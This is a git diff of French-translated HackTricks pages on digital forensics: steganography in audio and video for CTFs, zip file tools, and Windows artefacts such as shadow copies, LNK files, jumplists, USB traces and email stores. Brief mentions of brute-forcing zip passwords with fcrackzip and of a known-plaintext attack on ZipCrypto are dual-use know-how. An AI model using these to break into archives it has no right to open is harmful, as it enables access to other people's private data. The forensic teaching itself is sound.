HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -Les formats de fichiers vidéo sont des formats de conteneurs, qui contiennent des flux séparés d'audio et de vidéo qui sont multiplexés ensemble pour la lecture. Pour analyser et manipuler les formats de fichiers vidéo, [FFmpeg](http://ffmpeg.org/) est recommandé. `ffmpeg -i` donne une analyse initiale du contenu du fichier. Il peut également démultiplexer ou lire en continu les flux de contenu. La puissance de FFmpeg est exposée à Python en utilisant [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html). +
+ + +From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) + +Comme pour les formats de fichiers image, la manipulation de fichiers audio et vidéo est un thème courant dans les défis de forensics CTF, non pas parce que le piratage ou la dissimulation de données se produisent de cette manière dans le monde réel, mais simplement parce que l'audio et la vidéo sont amusants. Comme pour les formats de fichiers image, la stéganographie peut être utilisée pour incorporer un message secret dans les données de contenu, et vous devriez à nouveau vérifier les zones de métadonnées du fichier pour des indices. Votre première étape devrait être de jeter un coup d'œil avec l'outil [mediainfo](https://mediaarea.net/en/MediaInfo) \(ou `exiftool`\) et d'identifier le type de contenu et de regarder ses métadonnées. + +[Audacity](http://www.audacityteam.org/) est l'outil premier open-source pour les fichiers audio et l'affichage des formes d'onde. Les auteurs de défis CTF aiment encoder du texte dans les formes d'onde audio, que vous pouvez voir en utilisant la vue spectrogramme \(bien qu'un outil spécialisé appelé [Sonic Visualiser](http://www.sonicvisualiser.org/) soit meilleur pour cette tâche en particulier\). Audacity peut également vous permettre de ralentir, inverser et effectuer d'autres manipulations qui pourraient révéler un message caché si vous soupçonnez qu'il y en a un \(si vous entendez un audio brouillé, des interférences ou du bruit\). [Sox](http://sox.sourceforge.net/) est un autre outil en ligne de commande utile pour convertir et manipuler des fichiers audio. + +Il est également courant de vérifier les bits de poids faible (LSB) pour un message secret. La plupart des formats de médias audio et vidéo utilisent des "chunks" discrets (de taille fixe) afin qu'ils puissent être diffusés en continu ; les LSB de ces chunks sont un endroit commun pour faire passer des données sans affecter visiblement le fichier. + +Parfois, un message peut être encodé dans l'audio sous forme de [tonalités DTMF](http://dialabc.com/sound/detect/index.html) ou de code morse. Pour cela, essayez de travailler avec [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) pour les décoder. + +Les formats de fichiers vidéo sont des formats de conteneur, qui contiennent des flux séparés à la fois audio et vidéo qui sont multiplexés ensemble pour la lecture. Pour analyser et manipuler les formats de fichiers vidéo, [FFmpeg](http://ffmpeg.org/) est recommandé. `ffmpeg -i` donne une analyse initiale du contenu du fichier. Il peut également démultiplexer ou lire en continu les flux de contenu. La puissance de FFmpeg est exposée à Python en utilisant [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html). + + diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index 231fecfc3..0f0f71c1f 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,44 +2,30 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
Il existe plusieurs outils en ligne de commande pour les fichiers zip qui seront utiles à connaître. -* `unzip` affiche souvent des informations utiles sur les raisons pour lesquelles un zip ne se décompresse pas. -* `zipdetails -v` fournit des informations détaillées sur les valeurs présentes dans les différents champs du format. +* `unzip` fournira souvent des informations utiles sur la raison pour laquelle un zip ne se décompresse pas. +* `zipdetails -v` fournira des informations approfondies sur les valeurs présentes dans les différents champs du format. * `zipinfo` liste des informations sur le contenu du fichier zip, sans l'extraire. * `zip -F input.zip --out output.zip` et `zip -FF input.zip --out output.zip` tentent de réparer un fichier zip corrompu. -* [fcrackzip](https://github.com/hyc/fcrackzip) effectue des tentatives de force brute pour deviner un mot de passe zip (pour des mots de passe de <7 caractères environ). +* [fcrackzip](https://github.com/hyc/fcrackzip) devine par force brute un mot de passe zip (pour des mots de passe <7 caractères environ). [Spécification du format de fichier Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) -Un point important concernant la sécurité des fichiers zip protégés par mot de passe est qu'ils ne chiffrent pas les noms de fichiers et les tailles de fichiers originales des fichiers compressés qu'ils contiennent, contrairement aux fichiers RAR ou 7z protégés par mot de passe. +Une note importante en matière de sécurité concernant les fichiers zip protégés par mot de passe est qu'ils n'encryptent pas les noms de fichiers et les tailles de fichiers originaux des fichiers compressés qu'ils contiennent, contrairement aux fichiers RAR ou 7z protégés par mot de passe. -Un autre point concernant le crack de zip est que si vous avez une copie non chiffrée/non compressée de l'un des fichiers qui sont compressés dans le zip chiffré, vous pouvez effectuer une "attaque par texte en clair" et cracker le zip, comme [décrit ici](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), et expliqué dans [ce document](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Le nouveau schéma de protection par mot de passe des fichiers zip (avec AES-256, plutôt que "ZipCrypto") n'a pas cette faiblesse. +Une autre note sur le craquage de zip est que si vous avez une copie non chiffrée/décompressée de l'un des fichiers qui sont compressés dans le zip chiffré, vous pouvez effectuer une "attaque en clair" et craquer le zip, comme [détailé ici](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), et expliqué dans [ce document](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Le nouveau schéma de protection par mot de passe des fichiers zip (avec AES-256, plutôt que "ZipCrypto") n'a pas cette faiblesse. De : [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](https://app.gitbook.com/o/Iwnw24TnSs9D9I2OtTKX/s/-L\_2uGJGU7AVNRcqRvEi/) - -
- -Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index 7f7c8df06..8555704b6 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -1,44 +1,44 @@ -# Artéfacts Windows +# Artefacts Windows -## Artéfacts Windows +## Artefacts Windows
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-## Artéfacts Windows Génériques +## Artefacts Windows Génériques ### Notifications Windows 10 -Dans le chemin `\Users\\AppData\Local\Microsoft\Windows\Notifications`, vous pouvez trouver la base de données `appdb.dat` (avant l'anniversaire de Windows) ou `wpndatabase.db` (après l'anniversaire de Windows). +Dans le chemin `\Users\\AppData\Local\Microsoft\Windows\Notifications`, vous pouvez trouver la base de données `appdb.dat` (avant l'anniversaire de Windows) ou `wpndatabase.db` (après l'anniversaire de Windows). À l'intérieur de cette base de données SQLite, vous pouvez trouver la table `Notification` avec toutes les notifications (au format XML) qui peuvent contenir des données intéressantes. -### Timeline +### Chronologie -Timeline est une caractéristique de Windows qui fournit un **historique chronologique** des pages web visitées, des documents édités et des applications exécutées. +La chronologie est une caractéristique de Windows qui fournit un **historique chronologique** des pages web visitées, des documents édités et des applications exécutées. -La base de données se trouve dans le chemin `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers pouvant être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +La base de données se trouve dans le chemin `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers pouvant être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). -### ADS (Alternate Data Streams) +### ADS (Flux de données alternatifs) -Les fichiers téléchargés peuvent contenir **ADS Zone.Identifier** indiquant **comment** il a été **téléchargé** de l'intranet, internet, etc. Certains logiciels (comme les navigateurs) mettent généralement **encore plus** d'**informations** comme l'**URL** d'où le fichier a été téléchargé. +Les fichiers téléchargés peuvent contenir la **Zone.Identifier des ADS** indiquant **comment** il a été **téléchargé** depuis l'intranet, internet, etc. Certains logiciels (comme les navigateurs) mettent généralement **encore plus** **d'informations** comme l'**URL** à partir de laquelle le fichier a été téléchargé. -## **Sauvegardes de Fichiers** +## **Sauvegardes de fichiers** ### Corbeille -Dans Vista/Win7/Win8/Win10, la **Corbeille** peut être trouvée dans le dossier **`$Recycle.bin`** à la racine du disque (`C:\$Recycle.bin`).\ +Dans Vista/Win7/Win8/Win10, la **Corbeille** se trouve dans le dossier **`$Recycle.bin`** à la racine du lecteur (`C:\$Recycle.bin`).\ Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont créés : * `$I{id}` : Informations sur le fichier (date de suppression) @@ -46,19 +46,21 @@ Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont cr ![](<../../../.gitbook/assets/image (486).png>) -Avec ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com/abelcheung/rifiuti2) pour obtenir l'adresse originale des fichiers supprimés et la date de suppression (utilisez `rifiuti-vista.exe` pour Vista – Win10). +En ayant ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com/abelcheung/rifiuti2) pour obtenir l'adresse d'origine des fichiers supprimés et la date de suppression (utilisez `rifiuti-vista.exe` pour Vista - Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` -### Copies de l'ombre de volume +![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) -La Copie de l'ombre est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers informatiques ou de volumes, même lorsqu'ils sont utilisés. +### Copies d'ombre du volume -Ces sauvegardes sont généralement situées dans le `\System Volume Information` à la racine du système de fichiers et le nom est composé de **UIDs** montrés dans l'image suivante : +Shadow Copy est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers ou de volumes d'ordinateur, même lorsqu'ils sont en cours d'utilisation. + +Ces sauvegardes sont généralement situées dans le dossier `\System Volume Information` à la racine du système de fichiers et le nom est composé d'**UIDs** comme indiqué dans l'image suivante : ![](<../../../.gitbook/assets/image (520).png>) -En montant l'image forensique avec **ArsenalImageMounter**, l'outil [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) peut être utilisé pour inspecter une copie de l'ombre et même **extraire les fichiers** des sauvegardes de copie de l'ombre. +En montant l'image forensique avec l'outil **ArsenalImageMounter**, l'outil [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) peut être utilisé pour inspecter une copie d'ombre et même **extraire les fichiers** des sauvegardes de copie d'ombre. ![](<../../../.gitbook/assets/image (521).png>) @@ -66,59 +68,57 @@ L'entrée de registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Backu ![](<../../../.gitbook/assets/image (522).png>) -Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient également des informations de configuration sur les `Copies de l'ombre de volume`. +Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient également des informations de configuration sur les `Copies d'ombre du volume`. -### Fichiers AutoSauvegardés Office +### Fichiers Office AutoSaved -Vous pouvez trouver les fichiers autosauvegardés d'Office dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Vous pouvez trouver les fichiers autosauvegardés de bureau dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Éléments du Shell +## Éléments de Shell -Un élément du shell est un élément qui contient des informations sur comment accéder à un autre fichier. +Un élément de shell est un élément qui contient des informations sur la façon d'accéder à un autre fichier. -### Documents Récents (LNK) +### Documents récents (LNK) Windows **crée automatiquement** ces **raccourcis** lorsque l'utilisateur **ouvre, utilise ou crée un fichier** dans : * Win7-Win10 : `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` * Office : `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -Lorsqu'un dossier est créé, un lien vers le dossier, le dossier parent et le grand-parent du dossier est également créé. +Lorsqu'un dossier est créé, un lien vers le dossier, vers le dossier parent et le dossier grand-parent est également créé. -Ces fichiers de lien créés automatiquement **contiennent des informations sur l'origine** comme s'il s'agit d'un **fichier** **ou** d'un **dossier**, **les temps MAC** de ce fichier, **les informations de volume** de l'endroit où le fichier est stocké et **le dossier du fichier cible**. Ces informations peuvent être utiles pour récupérer ces fichiers dans le cas où ils auraient été supprimés. +Ces fichiers de lien créés automatiquement **contiennent des informations sur l'origine** comme s'il s'agit d'un **fichier** ou d'un **dossier**, les **horodatages MAC** de ce fichier, les **informations de volume** où le fichier est stocké et le **dossier du fichier cible**. Ces informations peuvent être utiles pour récupérer ces fichiers en cas de suppression. -De plus, la **date de création du fichier de lien** est la première **fois** que le fichier original a été **utilisé** et la **date de modification** du fichier de lien est la **dernière fois** que le fichier d'origine a été utilisé. +De plus, la **date de création du fichier de lien** est la première **fois** où le fichier d'origine a été **utilisé** et la **date de modification** du fichier de lien est la **dernière** **fois** où le fichier d'origine a été utilisé. Pour inspecter ces fichiers, vous pouvez utiliser [**LinkParser**](http://4discovery.com/our-tools/). -Dans cet outil, vous trouverez **2 ensembles** de dates : +Dans cet outil, vous trouverez **2 ensembles** de horodatages : -* **Premier Ensemble :** +* **Premier ensemble :** 1. FileModifiedDate 2. FileAccessDate 3. FileCreationDate -* **Deuxième Ensemble :** +* **Deuxième ensemble :** 1. LinkModifiedDate 2. LinkAccessDate 3. LinkCreationDate. -Le premier ensemble de dates fait référence aux **dates du fichier lui-même**. Le deuxième ensemble fait référence aux **dates du fichier lié**. +Le premier ensemble de horodatages fait référence aux **horodatages du fichier lui-même**. Le deuxième ensemble fait référence aux **horodatages du fichier lié**. -Vous pouvez obtenir les mêmes informations en exécutant l'outil CLI Windows : [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +Vous pouvez obtenir les mêmes informations en exécutant l'outil en ligne de commande Windows : [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` -Dans ce cas, les informations seront enregistrées dans un fichier CSV. - ### Jumplists -Ce sont les fichiers récents qui sont indiqués par application. C'est la liste des **fichiers récents utilisés par une application** auxquels vous pouvez accéder pour chaque application. Ils peuvent être créés **automatiquement ou personnalisés**. +Ce sont les fichiers récents indiqués par application. C'est la liste des **fichiers récemment utilisés par une application** auxquels vous pouvez accéder sur chaque application. Ils peuvent être créés **automatiquement ou personnalisés**. -Les **jumplists** créées automatiquement sont stockées dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Les jumplists sont nommées selon le format `{id}.autmaticDestinations-ms` où l'ID initial est l'ID de l'application. +Les **jumplists** créés automatiquement sont stockés dans `C:\Users\{nom_utilisateur}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Les jumplists sont nommés selon le format `{id}.autmaticDestinations-ms` où l'ID initial est l'ID de l'application. -Les jumplists personnalisées sont stockées dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` et sont créées par l'application généralement parce que quelque chose d'**important** s'est produit avec le fichier (peut-être marqué comme favori) +Les jumplists personnalisés sont stockés dans `C:\Users\{nom_utilisateur}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` et sont généralement créés par l'application car quelque chose d'**important** s'est produit avec le fichier (peut-être marqué comme favori). -Le **temps de création** de toute jumplist indique **la première fois que le fichier a été accédé** et le **temps modifié la dernière fois**. +L'**heure de création** de toute jumplist indique la **première fois que le fichier a été consulté** et l'**heure de modification la dernière fois**. Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). @@ -128,33 +128,33 @@ Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https:// ### Shellbags -[**Suivez ce lien pour apprendre ce que sont les shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Suivez ce lien pour en savoir plus sur les shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Utilisation des USB Windows +## Utilisation des clés USB Windows -Il est possible d'identifier qu'un périphérique USB a été utilisé grâce à la création de : +Il est possible d'identifier l'utilisation d'un périphérique USB grâce à la création de : -* Dossier Windows Recent -* Dossier Microsoft Office Recent +* Dossier récent de Windows +* Dossier récent de Microsoft Office * Jumplists -Notez que certains fichiers LNK au lieu de pointer vers le chemin d'origine, pointent vers le dossier WPDNSE : +Notez que certains fichiers LNK, au lieu de pointer vers le chemin d'origine, pointent vers le dossier WPDNSE : ![](<../../../.gitbook/assets/image (476).png>) -Les fichiers dans le dossier WPDNSE sont une copie des originaux, ils ne survivront pas à un redémarrage du PC et le GUID est pris d'un shellbag. +Les fichiers dans le dossier WPDNSE sont une copie des fichiers originaux, ils ne survivront donc pas à un redémarrage du PC et le GUID est extrait d'un shellbag. ### Informations du Registre -[Consultez cette page pour apprendre](interesting-windows-registry-keys.md#usb-information) quels clés de registre contiennent des informations intéressantes sur les périphériques USB connectés. +[Consultez cette page pour en savoir plus](interesting-windows-registry-keys.md#usb-information) sur les clés de registre contenant des informations intéressantes sur les périphériques USB connectés. ### setupapi -Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages concernant quand la connexion USB a été produite (recherchez `Section start`). +Consultez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages sur quand la connexion USB a été établie (recherchez `Section start`). -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) -### USB Detective +### Détective USB [**USBDetective**](https://usbdetective.com) peut être utilisé pour obtenir des informations sur les périphériques USB qui ont été connectés à une image. @@ -162,59 +162,59 @@ Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodata ### Nettoyage Plug and Play -La tâche planifiée connue sous le nom de 'Nettoyage Plug and Play' est principalement conçue pour la suppression des anciennes versions de pilotes. Contrairement à son objectif spécifié de conserver la dernière version du package de pilotes, des sources en ligne suggèrent qu'elle cible également les pilotes qui ont été inactifs pendant 30 jours. Par conséquent, les pilotes pour les périphériques amovibles non connectés au cours des 30 derniers jours peuvent être supprimés. +La tâche planifiée connue sous le nom de 'Nettoyage Plug and Play' est principalement conçue pour supprimer les versions obsolètes des pilotes. Contrairement à son objectif spécifié de conserver la dernière version du package de pilotes, des sources en ligne suggèrent qu'elle cible également les pilotes inactifs depuis 30 jours. Par conséquent, les pilotes des périphériques amovibles non connectés au cours des 30 derniers jours peuvent être supprimés. -La tâche se trouve au chemin suivant : +La tâche est située dans le chemin suivant : `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -Une capture d'écran montrant le contenu de la tâche est fournie : +Une capture d'écran illustrant le contenu de la tâche est fournie : ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) **Composants clés et paramètres de la tâche :** - **pnpclean.dll** : Cette DLL est responsable du processus de nettoyage réel. -- **UseUnifiedSchedulingEngine** : Défini sur `TRUE`, indiquant l'utilisation du moteur de planification des tâches générique. +- **UseUnifiedSchedulingEngine** : Défini sur `TRUE`, indiquant l'utilisation du moteur de planification de tâches générique. - **MaintenanceSettings** : -- **Période ('P1M')** : Dirige le Planificateur de tâches pour initier la tâche de nettoyage mensuellement pendant la maintenance automatique régulière. -- **Deadline ('P2M')** : Instruit le Planificateur de tâches, si la tâche échoue pendant deux mois consécutifs, d'exécuter la tâche pendant la maintenance automatique d'urgence. +- **Période ('P1M')** : Indique au Planificateur de tâches d'initier la tâche de nettoyage mensuellement pendant la maintenance automatique régulière. +- **Date limite ('P2M')** : Instruit le Planificateur de tâches, si la tâche échoue pendant deux mois consécutifs, d'exécuter la tâche pendant la maintenance automatique d'urgence. -Cette configuration assure une maintenance et un nettoyage réguliers des pilotes, avec des dispositions pour retenter la tâche en cas d'échecs consécutifs. +Cette configuration garantit une maintenance régulière et un nettoyage des pilotes, avec des dispositions pour réessayer la tâche en cas d'échecs consécutifs. **Pour plus d'informations, consultez :** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) ## Emails -Les emails contiennent **2 parties intéressantes : Les en-têtes et le contenu** de l'email. Dans les **en-têtes**, vous pouvez trouver des informations telles que : +Les emails contiennent **2 parties intéressantes : les en-têtes et le contenu** de l'email. Dans les **en-têtes**, vous pouvez trouver des informations telles que : -* **Qui** a envoyé les emails (adresse e-mail, IP, serveurs de messagerie qui ont redirigé l'email) -* **Quand** l'email a été envoyé +* **Qui** a envoyé les emails (adresse e-mail, IP, serveurs de messagerie ayant redirigé l'e-mail) +* **Quand** l'e-mail a été envoyé -Aussi, à l'intérieur des en-têtes `References` et `In-Reply-To`, vous pouvez trouver l'ID des messages : +De plus, dans les en-têtes `References` et `In-Reply-To`, vous pouvez trouver l'ID des messages : ![](<../../../.gitbook/assets/image (484).png>) -### Application de Courrier Windows +### Application Courrier Windows -Cette application enregistre les emails en HTML ou en texte. Vous pouvez trouver les emails dans des sous-dossiers à l'intérieur de `\Users\\AppData\Local\Comms\Unistore\data\3\`. Les emails sont enregistrés avec l'extension `.dat`. +Cette application enregistre les emails en HTML ou en texte. Vous pouvez trouver les emails dans des sous-dossiers à l'intérieur de `\Users\\AppData\Local\Comms\Unistore\data\3\`. Les emails sont enregistrés avec l'extension `.dat`. -Les **métadonnées** des emails et les **contacts** peuvent être trouvés à l'intérieur de la **base de données EDB** : `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +Les **métadonnées** des emails et les **contacts** peuvent être trouvés dans la base de données **EDB** : `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Changez l'extension** du fichier de `.vol` à `.edb` et vous pouvez utiliser l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) pour l'ouvrir. À l'intérieur de la table `Message`, vous pouvez voir les emails. +**Changez l'extension** du fichier de `.vol` à `.edb` et vous pouvez utiliser l'outil [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) pour l'ouvrir. Dans la table `Message`, vous pouvez voir les emails. ### Microsoft Outlook -Lorsque des serveurs Exchange ou des clients Outlook sont utilisés, il y aura des en-têtes MAPI : +Lorsque des serveurs Exchange ou des clients Outlook sont utilisés, il y aura quelques en-têtes MAPI : -* `Mapi-Client-Submit-Time` : Heure du système lorsque l'email a été envoyé +* `Mapi-Client-Submit-Time` : Heure du système lorsque l'e-mail a été envoyé * `Mapi-Conversation-Index` : Nombre de messages enfants du fil et horodatage de chaque message du fil * `Mapi-Entry-ID` : Identifiant du message. -* `Mappi-Message-Flags` et `Pr_last_Verb-Executed` : Informations sur le client MAPI (message lu ? non lu ? répondu ? redirigé ? hors du bureau ?) +* `Mappi-Message-Flags` et `Pr_last_Verb-Executed` : Informations sur le client MAPI (message lu ? non lu ? répondu ? redirigé ? absent du bureau ?) -Dans le client Microsoft Outlook, tous les messages envoyés/reçus, les données des contacts et les données du calendrier sont stockés dans un fichier PST dans : +Dans le client Microsoft Outlook, tous les messages envoyés/reçus, les données de contacts et les données de calendrier sont stockés dans un fichier PST dans : * `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) * `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -Le chemin de registre 